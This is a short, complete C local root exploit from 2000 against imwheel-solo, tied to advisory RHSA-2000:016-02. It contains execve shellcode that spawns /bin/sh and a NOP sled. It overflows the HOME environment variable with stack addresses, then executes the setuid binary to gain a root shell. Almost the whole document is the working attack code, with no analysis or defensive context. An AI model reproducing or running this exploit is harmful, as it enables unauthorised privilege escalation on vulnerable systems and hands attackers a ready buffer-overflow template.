imwheel local root exploit (as discussed in RHSA-2000:016-02).
c9ef8294aec65f46d63ce7f67c062e2ee9fa22a942d8fbaa5505c062851c439d
/*
* imwheel local root exploit [ RHSA-2000:016-02 ]
* funkysh 04/2000 funkysh@kris.top.pl
*/
#include <stdlib.h>
#include <stdio.h>
#define BUFFER 2070
#define NOP 0x90
#define PATH "/usr/X11R6/bin/imwheel-solo"
char code[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46"
"\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e"
"\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long getesp(void) { __asm__("movl %esp,%eax"); }
int main(int argc, char *argv[])
{
int i, offset = 0;
char buf[BUFFER];
long address;
if(argc > 1) offset = atoi(argv[1]);
address = getesp() + 1000 + offset;
memset(buf,NOP,BUFFER);
memcpy(buf+(BUFFER-300),code,strlen(code));
for(i=(BUFFER-250);i<BUFFER;i+=4)
*(int *)&buf[i]=address;
setenv("DISPLAY", "DUPA", 1);
setenv("HOME", buf, 1);
execl(PATH, PATH, 0);
}
--
[funkysh@kris.top.pl funkysh@poz.supermedia.pl]
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